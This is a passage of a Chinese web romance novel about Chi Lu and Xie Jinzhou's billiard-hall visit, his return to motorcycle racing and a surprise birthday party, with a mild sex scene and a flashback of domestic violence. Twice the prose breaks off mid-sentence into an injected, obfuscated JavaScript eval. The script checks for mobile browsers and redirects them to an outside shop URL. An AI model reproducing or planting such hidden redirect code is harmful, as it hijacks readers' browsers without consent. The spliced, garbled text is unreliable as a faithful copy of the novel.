李浦这“爸”,她不认,但她认,李浦是她的亲人,这六年,他跟路漫会在她身上捞金,但给她的资源一点没少,不管是合作方主动找来的,还是他们主动去联系的,都会把最好的资源给她。 在娱乐圈,她多多少少也算是有人罩着的。 …… 驰路还没起床,谢劲舟一把将她拉到怀里,摸着她的脑袋,埋在她的颈窝里,一下一下亲她的脖颈,亲得驰路感到一阵痒,想要推开他,却被他搂得更紧。 “谢劲舟,昨晚你折腾我折腾得还不够吗?”驰路浑身酸软,揉着他的头发,“能不能收敛点?” “是折腾吗?”谢劲舟从她脖颈里抬头,啄了下她的嘴唇,“我看你很舒服,不介意现在再让你舒服一次。” “喂……谢劲舟……”驰路看着钻入被子里的谢劲舟,想喊住,人却折腾起她的身体了。 她知道,一波汹涌浪潮又要来了。 他亲过的每一处,都袭来灼热气息。他一把将她翻过来,吻着她背上的燕尾蝶文身。 窗外传来人声、车声,但都与他们无关,他们在彼此的心跳里悸动,在彼此的呼吸里沉醉。 她听到他说:“驰宝,不管你是滂沱大雨,还是万里晴空,我都会偷渡到你的世界,做你生命里不灭的火焰!” …… 这天是国庆第一天,驰路拉着谢劲舟去逛芳町镇,结果,街上多的是车辆和人。 谢劲舟开着他的那辆越野车,堵在路口,驰路下车去看,前面排了长长的队,不知要等到什么时候。 驰路灵机一动:“舟哥,要不让罗哥把摩托车开过来,他把越野车开回去,我们开摩托车逛,怎么样?” 谢劲舟面色倏地一沉,眸子也黯了下去:“不用。等着吧。再说,罗刺猬也没有摩托车钥匙,他开不过来。” “是这样的。”驰路说,“前天晚上,我不是骑了会儿摩托车吗,被罗哥看到了,他也要骑,就让他骑了会儿,钥匙也在他那里。” “什么!”谢劲舟脸色更不好看了,竟然让人碰他的爱车。 “是你之前的那辆,不是我送你的。” 谢劲舟的脸色这才转好。 驰路趁机撒娇,拽着他的衣摆,放柔声音:“舟哥,我骑摩托车载你,这样也不堵车,我们逛的地方也能多点,好不好嘛?” 驰路很少在谢劲舟面前撒娇,谢劲舟听得胳膊上起了一层鸡皮疙瘩,无奈地摇了摇头,最终同意。 …… 罗子昂把摩托车开过来时,越野车还停在原地,罗子昂说:“前面有两辆车发生了点小事故,没解决好,都不开走,堵在那边,非要喊交警过来。不过,就算解决好了,还得堵,我来时,其他几条街上也都堵着,大家都放假了回来了,车也多了。” 罗子昂朝驰路竖大拇指:“还是驰妹想得周到。” 罗子昂把摩托车给谢劲舟,但他没动,罗子昂立马想到什么:“驰妹,你来开吧。” “嗯。”驰路拿起头盔戴上,又拿起另一个头盔,正要给谢劲舟戴上,被他接过去:“我自己来,这么多人,你公开这样做,不合适。” “我戴着口罩、头盔呢,难道还有人认得出我?” “还是要小心点。” 驰路发现,公众场合,跟谢劲舟在一起时,他是真的只把她当“驰老师”,跟她保持着距离,完全一副“你千万别来招惹我”的冷酷模样。 她知道,这是他保护自己的方式。 这是驰路第一次载谢劲舟,她清楚地记得,六年前,每一次都是他载她,他载着她去学校,载着她去静心山,载着她在芳町镇的每条街上穿梭。 现在反了,他成了那个被她载的对象,他没有搂她的腰,而是弯腰把手搭在摩托车上。 他这个姿势,像把驰路圈在怀里,比搂她还暧昧。而当事人却不自知。 跟谢劲舟分开的这六年,压力大时,驰路会通过很多方式发泄自己的情绪,最常用的一种便是,在深夜无人的街头,开着摩托车在路上疾驰。 她会把加足马力,一直开,不管是夏天还是冬天,都会灌进来阵阵风。 头顶是不灭的路灯,耳边是呼啸的风声,她在疾驰中,被压抑的情绪,得到释放。 只是,会有另一种情绪袭上心头。 每次骑摩托车,她都会想谢劲舟。 每次摘掉头盔,她的脸上全是泪水。 此时,她骑在摩托车上,穿梭在熙熙攘攘的车流中,像一名驰骋沙场的勇士,一人大开四方,杀出一条路来。 谢劲舟许久没有这样的感觉,风呼呼地钻进头盔里,吹着他的眼睛,扬起他的发丝。 初秋的风还很温柔,带过来树的清新,还有身前驰路身上的玫瑰香气,他的眼睛忽然有点发涩,像进了一粒沙,刺得他眼睛有点睁不开。 被遗忘了六年的滋味,在这一刻,一点点从心尖上冒出来。 当年在赛场上风驰电掣、张扬不羁的少年,仿佛就在眼前。 他不畏前路,踩下油门,在赛道上狂奔,他只有一个目标——终点。 在芳町镇、在青宜市,他曾去参加比赛,无人能敌。 他是赛道的征服者,也是赛场上夺得旗帜的国王。 可是征服者不去征服赛道了,国王也不去夺取旌旗了,他悄无声息地退出他热爱的赛道,不再碰摩托车。 他再没命地玩下去,他的右腿会废掉。 他还不想跟谢鸿运那样,那段时间他还做着这样的噩梦:他遇见驰路了,但他成了瘸子,驰路笑他,原来,你离开我,过得一点都不好啊。 他不要成为瘸子,他要过得好,他要在某一天遇见驰路时,让她看到一个看起来完整的自己。 那个少年,去哪里了? 他想要找回来。 …… 驰路把谢劲舟带到了当年兼职的那家台球厅,台球厅前已经停满了车,她正愁想把车停在哪里,这时,有人走过来:“这不是舟爷吗,什么时候回来的?” 谢劲舟摘下头盔,顺了顺头发,眼前的人,是之前认识的一哥们,他上前跟他打招呼:“小吴,好久不见。” “舟爷,这是你的摩托车吧。”小吴一看认出这辆已经有些旧的深蓝色摩托车是谢劲舟的,跟旁边的人说,“三子,把这车放到隔壁店门口,给咱舟爷腾个位置。” “谢啦,小吴。”谢劲舟拍了拍小吴的肩膀。 小吴看向把摩托车推进去的女生,个头高挑,穿着深蓝色牛仔短裤、黑色短款皮衣、黑色铆钉靴,露出一双白皙又笔直的长腿。 女生转过来,小吴看到她的黑色皮衣里穿着一件黑色紧身短款上衣,露出腰间的一块肌肤,阳光下白得发光,脖子上戴着一条银色的蝴蝶项链,耳朵上戴着蝴蝶耳挂,有一种浑然天成的酷飒美。 她戴着黑色口罩,只看得见她的眼睛,那双细长的眼睛格外勾人,魅惑横生。 他看得眼睛都直了,这是什么人间尤物,他们芳町镇上还有这等美女,他怎么没见过。 小吴推了推谢劲舟的胳膊,眼睛一直盯在驰路身上:“舟爷,不介绍一下,这是你女朋友?” “确定没见过?”驰路认识小吴,之前他老来台球厅,她摘下口罩,朝他勾唇一笑。 小吴一看,傻眼了,这人他认识啊,当年在他们圈里都传开了,说谢劲舟为了转校生浪子回头,这可不就是当年的那位转校生吗。 小吴连忙说:“哎呀,原来是嫂子啊。”他别有深意地笑着看向谢劲舟:“舟爷,你这是假浪子真情种啊!这都多少年了,嫂子还是当年的嫂子啊!” 谢劲舟并没有否认,毕竟这六年来,追他的女生不少,他却一个都没谈。 他下意识地想搂驰路的肩,手又放下去,从她手里拿过口罩,帮她戴上。 “走,打几局。”谢劲舟喊小吴一起进去。 他们走进台球厅,驰路看了看收银台,除了有一个新面孔女生,还有一个认识的熟人,是台球厅的老板娘。 老板娘一眼认出了谢劲舟,喊住他:“小谢,你什么时候回来的?看网上的新闻了,你现在都当明星啦。” 谢劲舟把食指放在唇边,朝她做出“嘘”的动作。 不过是无意间参演了一部电影,算不上什么明星,他希望不被人认出来,也不希望有人声张。 但为了保险起见,谢劲舟戴了顶黑色鸭舌帽,把帽檐又压低了些,遮盖住他上半张脸。 “这是……”老板娘看着谢劲舟身边戴口罩、戴帽子的女生,觉得特奇怪,需要捂得这么严实吗? 驰路摘下口罩,走向柜台。 “啊,你是……驰路?”老板娘一眼就认出了眼前的女生,是当年在这里打过工的驰路,现在她可是顶流明星了。 “玲姐好。”驰路礼貌地跟老板娘打招呼,她很感谢当年老板娘招她过来,那是她人生中第一次做兼职,虽然一开始不少男生骚扰她,但后来知道她是谢劲舟的人后,骚扰她的人少了很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢劲舟看到给驰路的饮料是雪梨味的,跟玲姐说:“玲姐,麻烦给我跟驰路来罐装的气泡水,一瓶白桃味的,一瓶柠檬味的。” “好嘞。”玲姐转身给他们换了罐装气泡水,“你们去玩,我请你们,不用付钱啊。” 国庆节第一天,来台球厅的人很多,每张桌前都有人,玲姐去跟最里面的一桌人说了些什么,才得以空出一个位置。 收银台前的女生给他们送过来台球,刚转身要走,却停了下来,盯着驰路。 驰路问她:“怎么了?” 女生格外羞涩,声音低低的,被嘈杂的人声盖住。 “你说什么?”驰路把耳朵凑过去,才听到女生用很小很小的声音说:“姐姐好,我是你的粉丝,我很喜欢你!希望姐姐以后一直走花路。”说完,红着脸跑走了。 驰路看着女生离开的背影不由得笑了笑,真是一个羞涩的粉丝啊。 六年来,驰路只碰过几次台球,手法生疏了,在谢劲舟的指点下,才击中目标。 仿佛回到六年前,她在他的助力下,成功击败背头男。 驰路一弯腰,短款皮衣、背心往上滑,露出后背一大片肌肤。 谢劲舟看得直蹙眉,毫不犹豫地脱下身上的蓝色外套给驰路披上,传来一片嘘声。 小吴鼓掌道:“浪子回头金不换,舟爷宠妻不一般。” 打了一个多小时,驰路打得有些累了,跟谢劲舟说饿了,想吃饭。 谢劲舟顺了她的心意,跟小吴和其他几个人说了“下次见”。 小吴笑着说:“舟爷,嫂子,慢走。” 谢劲舟走到收银台前,玲姐在,打工的女生没在,他跟玲姐说:“玲姐,气泡水算你请我们的,这次玩的,我来付。”他不想沾玲姐的光。 玲姐因为张贴驰路的海报不知道引来了多少客人,这点钱对她来说不算什么,连忙摆手:“算了算了,真不用。” “玲姐,一码归一码。”谢劲舟执意要给。 玲姐见状,只好妥协:“行吧,我直接从你卡里扣。” “不用。” “嗯?”玲姐想落在键盘上的手一顿,抬头惊讶地看谢劲舟。 “我扫描付款。”谢劲舟掏出手机。 “为什么不用卡里的?”玲姐实在不解。 驰路在一旁看着,也是一头雾水,会员卡里有钱,为什么不刷,非要付款?他又不经常回来,有机会能用卡里的钱,为什么不用? 谢劲舟按照玲姐给的数额扫了码付了款。 等驰路跟玲姐拍完照走出来,见收银台前的小姑娘没在,走过去问玲姐要了一张白纸,写了什么,跟玲姐说:“玲姐,这是给那个小姑娘的,记得帮我给她。” “没问题。”玲姐有了跟驰路的合照,心里想着待会儿就让老公设计海报,去隔壁快印店多印几份,一张贴室内墙上,其他的贴台球厅外,吸引更多新老客光顾。 直到走出台球厅,驰路才问谢劲舟:“舟哥,卡里有钱你怎么不用?” 谢劲舟正好迎着光,棱角分明的脸被薄光笼罩着,一身黑衣的他,显得又冷酷又柔和,两种不同的气质在他身上交织呈现着。 他摘下口罩,薄薄的唇扯出一抹好看的弧度,用深邃的眼眸看着驰路,慵懒又富有磁性的声音响起:“阿驰,卡里的钱,我不会用,因为,237=爱相随,这是我为你心动过的证明。” 驰路诧异,彼时,谢劲舟为她心动过? 131. 舟哥,生日快乐! 「谁都不能成为你的枷锁,也不能成为你的镣铐。 你该驰骋如风、该肆意张扬。 你是十八岁的少年,是赛车场上的国王,可与天地争高下。」 ——《小蝴蝶的星光》 前台小姑娘从卫生间回来时,看到桌上多了一张白纸,正讶异是谁放在这里的,看到上面的签名和祝福语,激动得说不出话。 她追出去,想要找驰路,却不见踪影。 一句“谢谢”,无法当面说给她听了。 * 谢劲舟带着驰路来到了一家拉面馆,给她点了番茄牛肉面,自己点了份牛肉面,等面的时候,驰路扫视一圈,虽然已经过了饭点,但面馆里还是坐满了人,说话声不绝于耳,闹哄哄一片。 驰路问坐在身旁的谢劲舟:“这家店什么时候开的?” “去年。” “芳町镇也不是没有变化,我看有几家店关了,也开了几家新店。” “嗯。”谢劲舟在座位下悄悄握住驰路的手,倾身跟她说,“什么都在变,我们也没逃过时间,有很多的久别重逢,也有很多的破镜难圆。谢谢你,阿驰,你又回到了我身边。以后,我们一起吃很多很多碗牛肉面,好不好?” “好!” 一声“好”,仿佛穿越光阴,带着柠檬气泡水的味道,一同挤进了她的世界。 吃牛肉面时,谢劲舟把碗里的牛肉粒一块一块地夹到驰路碗里,让她多吃点。 驰路看着几乎堆成小山的牛肉粒,不禁停下筷子,笑着跟谢劲舟说:“舟哥,你又不是不知道,我要控制饮食。” “又不是别的菜,就吃点牛肉粒,不会长胖。”谢劲舟说,“不过,就算你长胖了,我也不会不要你。” “谁稀罕你要不要!”驰路夹了一块牛肉粒,味道不错。 “没人稀罕,我稀罕。” 我稀罕你,在任何时刻,哪怕你变了容颜。 …… 吃完饭,驰路开着摩托车载着谢劲舟一路往前,绕过一条条街道,再来到人少的路,一动往东。 路上来往的车辆少,谢劲舟放在摩托车上的手抬起,移到了她的腰上,宽大的掌心覆盖住她露出一截的腰间,被风吹过的肌肤微凉。 谢劲舟掌心的热度,一点点传过去,将微凉覆盖。 驰路低头看了看他的青筋分明的手背,嘴角勾起一抹弧度。 她故意加快速度,发现腰间的那双手,缠得她更紧了,要靠在她后背上的胸膛,顿时与她相贴。 在呼啸而过的风声里,她几乎能感受到他胸膛下,那突突加速跳动的心跳声。 她喜欢这种被拥住的感觉,像空荡荡的世界被填满,像太阳一直环绕在自己身边。 驰路带谢劲舟来到了东郊摩托车行,她把车停下来,看着摘下头盔的谢劲舟:“舟哥,是不是好久没来这里了?” “六年没来了。”谢劲舟环视四周,曾经多么熟悉的场地,此刻竟觉得陌生。 柏油赛道看起来翻修过,车行里整整齐齐地停了不少车,有人在赛道上开着车,开到他面前时停下来,抬起护目镜,抬手。 谢劲舟见是杜浩,也抬手,跟他握了握:“浩哥。” “你这小子,真有耐力啊,说不开就不开。”杜浩看了看驰路,“还是女朋友好使,我们说什么,你都不听,是吧?” “我不知道,她要带我来这里。”来之前,驰路只说带他兜风,但没想到会带他来这里。 “怎么,后悔来了?”杜浩摘下头盔,从摩托车上下来,撑好车撑,双手环胸,倚靠在摩托车上,好整以暇地看他,“你现在走还来得及。” “浩哥,我们不走,我要带他再兜兜风。”驰路挽起谢劲舟的胳膊。 谢劲舟看了看身后那辆深蓝色的摩托车,思索了会儿,用下了很大决心的神色看着驰路:“不用你带我,我自己开。” 两人换好赛车服,驰路看到谢劲舟穿了一身蓝白色紧身车服,他本就高,穿这一身显得他身材越发颀长,仿佛一棵冲天生长的小白杨,浑身透着桀骜不羁。 “舟哥,这身很适合你。”驰路走过来,帮他理了理衣领。 谢劲舟对着落地镜,望着镜子里的自己,愣怔了片刻。 里面的人,一头雾霾蓝头发,宽肩窄腰,身材跟六年前一样,甚至比六年前还要精瘦一点。 久违了,自己。 谢劲舟走到自己那辆蓝白色的车前时,驰路却拉着他来到了一辆深蓝色的摩托车前。 “小蝴蝶怎么在这里?”谢劲舟摸着车前的那只蹁跹的燕尾蝶。 “它叫小蝴蝶?”驰路不禁笑了起来,“都是你的小蝴蝶了,六年了,是不是亏待它了?” “从今天开始,我不会再亏待它。”谢劲舟戴上头盔,双手握住车扶手,抬起车撑,跨坐到车上,这一切的动作都进行得很慢,仿佛电影里的慢镜头。 这六年来,他抵触摩托车,自己不去碰,也不让人提起,就像面对被藏在心底深处的驰路一样。 摩托车是他的挚爱,车棚里的两辆摩托车,他每天晚上都会去擦拭,其实天天擦哪里来的灰,他只是想跟它们待在一起。 跟它们待在一起,内心好像就会燃起一团火焰,将他体内的麻木、冷漠融化。 他不是没想过,要不就骑一次吧,骑一次就好。 但当他骑上摩托车时,往日输掉比赛的耻辱感、别人的嘲讽谩骂统统会袭上来,如无数条毒蛇将他包围,让他无路可走,他只能乖乖投降。 他只好一次次放弃骑摩托车的念头,最后连这样的念头也不再有了。 如果不是这次驰路让他再次体会到在摩托车上的滋味,他大概一辈子都不会去骑摩托车了。 他喜欢风从脸颊呼啸而过的感觉,喜欢摩托车疾驰时的滋味,更喜欢那种天地间任我驰骋的自由。 他不要再坐在驰路的摩托车后面,他要自己再次去征服12号。 摩托车是他的坐骑,而他要做征战沙场的勇士,他不能后退,他只能前进,去夺下属于胜利者的旌旗。 跨坐到摩托车上,谢劲舟脑中又不自觉地想起之前的失败和谩骂,握着扶手的手紧紧拽着,身体也紧绷着,整个人极度紧张。 忽然,有一只白皙好看的手覆盖到他手背上,轻轻地摩挲着,跟他说:“谢劲舟,你不用征服谁,你是你自己,做你自己就好。别人说过什么、做过什么,都是过去。我们不用去在意,我们要活在当下。” “我就在这里陪着你,你不是一个人,我会一直看着你,做你的观众。” “我会像从前那样,为你呐喊,为你鼓掌。” 谢劲舟的身体一点点放松,紧紧拽着扶手的手也放松下来,反握住驰路的手,抬起护目镜跟她说:“谢谢阿驰!” …… 赛车场上只有一辆蓝白色的摩托车,车上的人穿着蓝白色车服,跟车的颜色融为一体,大气好看。 速度起初慢,再加快,发动机的引擎声越来越响,摩擦地面的声音也越来越大,摩托车如猎豹般在车道上疾驰,是空旷车道上一抹夺目的风景。 耳边是呼呼灌进来的风,初秋的风已经染了些许凉意,钻进头盔里,吹着他的脸颊,吹着他的眼睛。 风明明没有那么大,但他却觉得风里含了沙子,一粒粒地往他眼里钻。 他好像找到了久违的自己。 眼前的世界无比清明,天空纯澈高远,赛道坚硬平坦。 他不再是那个困在旧时光里的困兽,在这一刻挣脱了牢笼,似乎可以触摸到天空、触摸到自由。 天地都是他的了,他在天地间尽情驰骋,一路激起无数尘土,他把尘土抛在身后,一路向前。 他听到了耳边有女声用扩音器喊着:“舟爷旗开得胜!”也听到了其他人的声音,都是一致的口号,都在为他呐喊、为他加油。 他好像是赛场上唯一的勇士、唯一的王者。 是的,他不用征服谁,他要征服的是过去的自己。 他终于勇敢地踏出这一步了,好像并没有想象中那么难,难的是,踏出去的第一步。 见不得你好的人、嘲笑你的嘴脸、谩骂你的声音,都是成长路上的一道道坎,迈过去就没什么大不了。 戴在脚上的镣铐,谁都不能帮我们解开,唯有自己才握有那把钥匙。 这世界不全都是恶意,也会有鸟语花香、阳光万丈,还会有离开你的好友。 谢劲舟开过车行前时,速度放慢,看到了驰路、谢劲舟、杜浩、苏漾、谢奶奶、谢林乔、沈倩倩、许婉、罗子昂、岑语欢、程佑白、时清、秦深,还有他跟过他的小弟们。 什么时候来了这么多人了? 难道是驰路提前安排的? 谢劲舟朝驰路的方向比了个爱心的手势,听见驰路用扩音器喊:“舟哥,你真棒!我爱你!” 远方天际渐渐漫上来一层薄薄的晚霞,橘黄色的霞光缀在蓝色天幕上,如同一幅精美绝伦的油彩画。 谢劲舟继续疾驰,霞光笼了他一身,在只有他一个人的赛道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560848|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,仿佛他是唯一的王者。 过往被甩在了身后,他找到答案了。 一路向前,永不止歇,才是唯一的答案。 …… 谢劲舟绕着赛道骑了一圈又一圈,也不知骑了多久,等他下来时,脸上、身上全是汗,他正擦着,面前递来一瓶水,瓶盖都被拧开了。 谢劲舟一抬头,看到了眉眼含笑的驰路,他没有接水,而是一把将她抱住,抱得那么紧,像终于触碰到太阳,不愿意撒手。 水摇晃着,水珠溅到了两人身上,却没人在意。 “谢劲舟,你做到了!”驰路也环住他,用力地拍他的后背。 “谢谢你,阿驰。”谢劲舟看着驰路,有一滴汗水掉到他浓长的睫毛上,他的喉结滚动了几下,继而俯身,用力地吻上她的唇。 谢谢你六年前来到芳町镇。 谢谢你不顾一切地跳进静心湖把我救上来。 谢谢你留给我的那三本重点题笔记本。 谢谢你跟我说:“你的世界曾破烂不堪,但现在不一样了,你有我了,我会陪着你,陪你度过白天,也陪你度过黑夜。” 谢谢你把那个坠入深渊的谢劲舟拽回人间。 谢谢你,重新回到我身边! 他们的身影被夕阳笼罩着,身上都披着一层浅浅的橘黄色的光,身旁是那辆历经岁月的深蓝色的摩托车。 耳边传来起哄声。 他们什么都听不见了,唯独听见彼此加速的心跳,还有唇齿间越发猛烈的撞击声。 他们抓住了彼此的太阳,找到了属于他们的乌托邦。 …… 谢劲舟没有喝水,而是将那瓶水全都洒在了身上,凉凉的水,浇灌在他头上、脸上、身上,他才找到了一点实感。 眼前笑着的姑娘不是梦,身边的摩托车也不是梦。 六年来,一直想做却不敢做的事,他做到了! 驰路让他先去冲个澡,换身衣服。 谢劲舟往车行里走时,见车行前不知何时放了烧烤架,摆了一张长桌子,还摆了不少凳子,大家正坐在凳子上准备食材。 这是喊大家过来一起聚餐?为什么要喊这么多人? “舟哥,不愧是摩托车界的王者,骑得超牛!”小弟们纷纷说起称赞的话。 “你们怎么都来了?”谢劲舟走过去跟他们打招呼。 “大家都放假,就过来一起聚聚。” 谢劲舟没想太多,还沉浸在自己可以骑摩托车的兴奋中,等洗完澡出来时,杜浩、罗子昂、秦深已经站在烧烤架前在弄烧烤,一阵烤肉香随风飘来。 他刚跨出去,几声震天响的砰砰砰的声音响起,随之而来的是洒在身上的礼花,洒得头上、身上全是五彩缤纷的彩带。 他们这是做什么?跟上次在“地球引力”酒吧一样的开场。 谢劲舟一脸懵,停下脚步,刚要把洒到脸上的彩带抹去,又响起砰砰声,彩带又洒了他一身。 耳边响起口号一致的铿锵声:“舟爷,生日快乐!永远一往无前、永远旗开得胜!” 今天是他的生日? 他一抬头,看到站在不远处的驰路,她正笑着看他。 难道这次还是驰路安排的? 过道中间放了一条红毯,谢劲舟走在布满礼花的红毯上,朝驰路走过去,宛若走在婚礼的红毯上,周围是欢呼声、起哄声:“舟爷,嫂子,舟爷,嫂子……” 就差说“百年好合,早生贵子”了。 驰路手捧一束洋桔梗,也朝他走去,快要走近时,两人的脚步都不由自主地放慢下来。 看似很近的距离,他们花了六年才终于走到今天。 走向彼此的每一步,都来之不易,像走了无数个光年。 他们一步步走向彼此,在彼此的身前站定。 驰路把洋桔梗递给他,用那双妩媚横生的狐狸眼看他: “舟哥,生日快乐!” “我不祝你一往无前,也不祝你旗开得胜,我祝你不要活得那么孤独。” “至少,在这个世界上,你可以对一个人放下防备、敞开心扉。那个人,就在你面前,以后,也会在你的生命里!” 时光在此刻仿佛凝滞,霞光洒落在他们身上,俊男靓女的组合,像极了在拍浪漫电影。 站在她对面的人,没有说话,但看着她的眼睛,深情得不像话。 像在用眼神,将她吻了无数遍。 仿佛在说:我的宝贝,我爱你,在每个暗夜时分,也在每个黎明时刻。 132. 蝴蝶飞过一叶舟 「我这艘船,曾破败不堪。 十八岁那年,你缝缝补补,没有让它翻。 二十四岁这年,你与船同行,小船可以启航了,也可以靠岸了。 世上无人可作靠山,唯有你是我命运的彼岸。」 ——《小船靠岸》 一行人围着长桌吃烧烤,谢劲舟夹了一块烤得八分熟的牛肉放到驰路碗里,低声问她:“是不是又是你安排的?” “难道还有别人?”驰路笑着将牛肉拨到一边,想了想,还是吃了一块。今天就放纵一回吧。 上次驰路没能去参加谢劲舟的阳历生日,怎么着,这次都要给他办一回。 “谢谢你,阿驰。” “这算什么,我还要谢你上次救我呢,如果不是你,我现在可能……” 谢劲舟捂住她的嘴,不让她继续说:“行,我们扯平了。” “救我好几次,怎么能算扯平。” “那你想怎样?” “以后,你的生日,我都陪你过,怎么样?” “好!” 吃完饭,桌上的饭菜全都收去,天色已黑,车行的招牌亮着灯,桌子一圈缠着的小彩灯也都亮了起来。 谢劲舟被要求闭上眼,听到耳边传来的脚步声,像踩在绵软的东西上,声音很轻。 声音离他越来越近,谢劲舟听到有什么东西放在了桌上,闻到了香甜的奶油香。 驰路看着乖乖闭上眼的谢劲舟,少了些许桀骜不驯的野性,多了点乖,不由勾唇笑:“舟哥,可以睁眼了!” 谢劲舟睁开眼,桌上摆放的是一个三层蛋糕,最下面一层是灰色的,第二层是雾霾蓝,第三层是浅浅的海水蓝,最上面,有一个灰色底座,底座上有一辆深蓝色的摩托车,旁边装饰了一些轮胎形状、小船形状的巧克力饼干。 蛋糕周身用金色英文拼成了两行“HAPPYBIRTHDAY”,周围也装饰着轮胎形状、小船形状的巧克力饼干。 灰色底座上,还摆放了一块白色装饰物,上面写着:XJZ,FEARLESS。 这是谢劲舟活了二十四年,第一次看到有人给他定制如此精美的蛋糕,每一处都透着他的爱好,不管是颜色,还是上面的摩托车、装饰,甚至还有上面的那行英文。 他在心里默念XJZ,FEARLESS。 XJZ,谢劲舟。 FEARLESS,无所畏惧。 感动在心头蔓延,宛若瞬间在烈阳下融化的冰雪。 林寒梅跟谢鸿运还恩爱时,不是没给他过过生日,但记忆中的生日停留在谢劲舟四岁那年。从那之后,每年的生日,除了谢奶奶跟他说的“生日快乐”,再没有生日蛋糕,家里多了爱酗酒、赌博的谢鸿运,原本和睦的家庭,变得破碎不堪。 不要说给他过生日了,就连基本的平和都被打破,多少次农历生日那天,谢鸿运喝得醉醺醺地回来,大概喝了通宵,也玩了通宵,走路都踉跄。 有一次,他看到在院子里洗衣服的林寒梅,一把抱住她:“寒梅啊,走啊,陪我去睡觉。” 那姿态,俨然一个色魔见到了如花似玉的姑娘,哪里有一点丈夫的样子。 林寒梅不干,他就讽刺她:“在我面前装什么纯啊,你那点破事别以为老子不知道,你肯跟别人睡,还不让我睡是吗,是想让我在这儿睡了你!” 谢鸿运边说边开始用力撕扯林寒梅的衣服,正值夏季,林寒梅穿着一件白色绣花衬衫,衣服被他扯着,她用手紧紧捂住。 这时,上小学一年级的谢劲舟看到了,连忙上前,一把拽住谢鸿运的腰,把他往后面拽,试图想拉开他。 结果,喝醉了酒的谢鸿运,见有人阻止自己,怒火中烧,看也不看是谁,抬腿就朝后面的人狠狠踹去,把小小的谢劲舟踹翻在地。 谢鸿运侧头一看,见谢劲舟倒在地上,露出一抹“看你敢不敢拽老子”的得意神色,接着拽住要逃走的林寒梅,一把扯住她的头发,照着她的脸就开始煽,边煽边扯她的衣服,衬衫被扯得落在肩头,肩膀上、胸前露出青紫的淤痕,一块一块,触目惊心。 谢劲舟无法忍受谢鸿运欺负自己的妈妈,用拳头一下一下砸在谢鸿运的身上,但任由他怎么用力,砸在谢鸿运身上的拳头都不够疼,都不能对谢鸿运产生一点威胁,换来谢鸿运转移注意力的殴打。 落在小谢劲舟身上的每一下拳头,不只砸在他身上,也深深地砸在了他年幼的心上。 一年又一年,只要谢鸿运在,他跟林寒梅的日子都不好过。 他一直活在黑暗里、淤泥中,直到谢林乔的出生,他才得以喘口气。 因为那个不会说话的可爱肉团子,是他唯一可以倾诉的对象。 从那以后,他的生命里多了一个跟他说“生日快乐”的人。 缺席了二十年的生日宴会,在这一刻似乎全部补齐。 不再是他一个人悄悄躲在被子里哭的生日,是认识的人,跟他一起过。 此刻,爱他的,他爱的,都聚集在此,仿佛一场盛大的狂欢,让他切切实实感受到,他不再是一个人了。 谢劲舟看着驰路,看着在场的每一个人,第一次在这么多人的场合,红了眼圈,声音泛着一丝哑:“谢谢你们!” …… 插蜡烛时,谢劲舟固执地插上了24根蜡烛,三层蛋糕上空隙处几乎都插满了。 他刚想拿打火机,只见驰路给他递过来一个黑盒子:“用这个,过了24岁,一切都是崭新的。” 谢劲舟接过黑盒子,解开上面系着的绸带,打开,里面是一块银质复古打火机,跟她之前送他的那款款式差不多,但细节又有所不同。 之前的那款半只翅膀在右边,上面写着:wishyoucanfly。 这次的这款半只翅膀在左边,上面写着:youcanfly。 谢劲舟看着新款打火机,心间翻涌起涩意,眼睛酸酸的,似有滚烫的液体要流出来,被他生生地憋了回去。 他从口袋里拿出之前那款已经褪色的打火机,放在新的打火机左边,出现一对完整的翅膀。 谢劲舟没有忍住,当着所有人的面,搂住身旁的驰路,搂着的一瞬间,滚烫的眼泪从右边脸颊滑落,但很快被他擦掉,谁都没看见,谁也不知道。 他跟她说:“谢谢阿驰。” 驰路拍拍他的肩说:“舟哥,你有一对完整的翅膀了,你也可以飞,飞去任何你想去的地方。” …… 24根蜡烛纷纷亮起,火光映照着谢劲舟的脸,耳边传来生日快乐歌,他闭着眼睛许愿。 在乎他的人,都在身边,这样的感觉,让他像被一个又一个温暖的春天包围着。 作为寿星,谢劲舟的那帮兄弟想闹他,又不敢闹,最终恭恭敬敬地给他送上提前准备好的生日礼物。 谢奶奶边吃蛋糕边跟驰路说:“阿驰,你真是费心了,上次你给小谢准备生日宴,这次又准备,又让你破费了。” 驰路微笑道:“谢奶奶,不用跟我客气,我是舟哥的女朋友,我愿意为他准备。” “谢奶奶,你是不用跟驰妹客气,驰妹以后是要嫁给咱舟爷的。”罗子昂看向谢劲舟,挑眉,“是不是啊,舟爷?” 谢劲舟挑了一块蛋糕塞罗子昂嘴里:“就你话多。” “我……没……说错啊。”蛋糕也没能堵住罗子昂的嘴,他边嚼着蛋糕边看驰路,“驰妹……你会……嫁给……” 后面的话终究没说出来,因为他看到了谢劲舟投过来的凌厉眼风,乖乖闭了嘴。 谢劲舟并不想给驰路压力,他们的未来还有很长的一段路要走,现在还没到谈婚论嫁的时候。 驰路悄悄地问谢劲舟许的什么愿,他挑了一块小船形状的巧克力饼干递到她嘴边,附在她耳边,悄声说:“关于蝴蝶和小船的愿望。” 驰路眼尾漾开一抹笑意,抬头帮他擦了擦嘴角的雾霾蓝奶油:“那就祝24岁的谢劲舟生日快乐,美梦成真!” * 谢劲舟小圆盘里的蛋糕还没吃完,耳边传来舒缓悠扬的歌曲。 HappybirthdayformyLady happybirthdayformyhoney ayoooo 你会成为最佳的锦鲤 好运气都会靠近你 happybirthdayformysweety happybirthdayformybaby【注】 …… 